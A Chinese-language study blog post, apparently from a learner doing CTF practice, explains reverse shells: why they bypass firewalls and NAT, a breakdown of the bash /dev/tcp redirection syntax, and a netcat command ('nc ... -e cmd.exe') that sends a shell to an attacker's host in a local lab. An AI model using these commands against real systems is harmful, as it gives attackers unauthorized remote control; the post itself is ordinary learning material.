关于反弹shell的学习

今天学习反弹shell,在最近做的ctf题里面越来越多的反弹shell的操作,所以觉得要好好研究一下,毕竟是一种比较常用的操作

什么是反弹shell以及原理

反弹Shell(也称为反向Shell)是一种技术,通常用于远程访问和控制目标计算机。反弹Shell的工作原理是,目标计算机主动发起连接到攻击者的计算机,从而绕过一些常见的安全措施,如防火墙和NAT(网络地址转换)。这种技术常用于合法的远程管理和测试环境中,但也可能被恶意攻击者利用进行未授权的远程控制。

通俗一点讲就是当存在一台攻击机和一台被攻击机时,攻击机(也就是客户端)连接被攻击机(服务端)叫做正向连接,那么反弹shell就是反向的连接,客户端为被攻击机,服务端为攻击机,由被攻击机连接攻击机

为什么要反弹shell

对方主机在外网无法访问
对方主机防火墙限制,只能发送请求,不能接收请求,利用目标计算机主动连接的特点,可以绕过这些防火墙限制。
对方IP动态变化
攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
穿透NAT:在网络地址转换(NAT)环境中,外部设备无法直接连接到内网设备。反弹Shell通过内网设备主动连接外部设备,可以穿透NAT进行通信。

反弹shell的思路

反弹 shell 的基本思路是通过网络建立一个连接,将目标主机上的 shell 程序(如 /bin/bash)的标准输入、标准输出和标准错误重定向到远程主机。这样,攻击者就可以在其主机上输入命令,这些命令会通过网络传输到目标主机并在目标主机上执行,执行结果再通过网络返回给攻击者。

Linux反弹Shell

准备一台windows,一台kali

Bash反弹shell

windows作为攻击机,kali作为被攻击机

攻击机监听19111端口

nc监听命令解析
监听 :-l 标志让 Netcat 监听传入的连接。
详细模式 :-v 标志会显示关于连接过程的详细信息。
端口 :-p 标志后跟 12345,告诉 Netcat 监听在端口 19111

被攻击机利用bash-i,产生交互式shell,通过监听的端口反弹到攻击机上

此时攻击机上拿到一个shell,可以通过命令查看被攻击机上的目录等等

命令的解析

1."bash -i" 打开一个交互的bash

2.">&" 将标准错误输出重定向到标准输出

3."/dev/tcp/x.x.x.x/port" 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

4."0>&1" 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

分析1 使用输入重定向,将远程攻击者输入的当作命令执行

同样的监听端口,在攻击机上使用命令执行会在被攻击机上显示命令并且执行,但是执行一次之后连接就断了

攻击机执行命令

分析2 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制

被攻击机执行命令

攻击机显示命令的执行结果

分析3 为了获取交互式的shell,需要使用文件描述符0>&1

攻击机可以输入命令到被攻击机,但是被攻击机会显示命令

分析4 使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell

也就是一开始实验的方法,将正确的输出和错误的输出都重定向到文件,并且在攻击机上输入命令在被攻击机上不会显示

利用Netcat反弹shell

原理
攻击者准备监听: 攻击者在其主机上使用 Netcat 开启一个监听端口,等待目标主机的连接。
目标主机连接: 目标主机通过 Netcat 连接到攻击者的监听端口,并将 shell 的输入输出重定向到这个连接上。
反向连接建立: 连接建立后,攻击者便可以通过该连接向目标主机发送命令,目标主机会在本地执行这些命令,并将执行结果返回给攻击者。

利用netcat来反弹shell适用于目标装载了netcat

实验步骤

攻击机监听端口(kali)

在被攻击机上利用nc执行命令

复制代码
nc 123.xxx.xxx port(攻击机ip)-e c:\windows\system32\cmd.exe

在攻击机上就可以接受到shell,并且可以进行命令执行

总结:刚刚接触反弹shell,只是在本地进行了一下实验,还没有做题练过手,好多的反弹shell的方式也没有学习

相关推荐
瑞克-桑切斯4 小时前
7、MySQL 慢查询排查与优化实战指南
java·服务器·数据库
前进的李工5 小时前
Agent 学习笔记 05:系统提示词应该怎么写
笔记·学习·prompt·agent·个人开发·few-shot·ai应用开发
vibecode5 小时前
网站服务器失去响应怎么解决?我把连接超时和读超时这两段计时拆开跑了一遍
运维·服务器
数字融合5 小时前
透明化视频孪生危化安全管控解决方案
人工智能·python·安全
正在走向自律7 小时前
【3/5】人工智能训练师 三级/高级工 考证学习方向:从“独立执行”到“设计、归因与全链条负责”
人工智能·学习·人工智能训练师·注方案设计·数据质控负责人·模型评测与调优辅助·ai训练项目交付
迪康Defender7 小时前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
Flynn Liang7 小时前
AI 应用的安全红线:Spring AI 下的 Prompt 注入防护、PII 脱敏、输出审计与密钥管理
人工智能·安全·spring·数据泄露·springai·prompt注入
朗迪锋7 小时前
SoErgo重塑“四特”场景下的人机协同与安全边界
人工智能·安全·人机工程
沫璃染墨8 小时前
从零入门计算机网络系列(十二):HTTP长连接与会话管理详解——从Connection到Cookie与Session
linux·服务器·c++·tcp/ip·ubuntu·http·交互
CCIE-Yasuo8 小时前
网络安全-学习数据库-Mysql-2
数据库·学习·mysql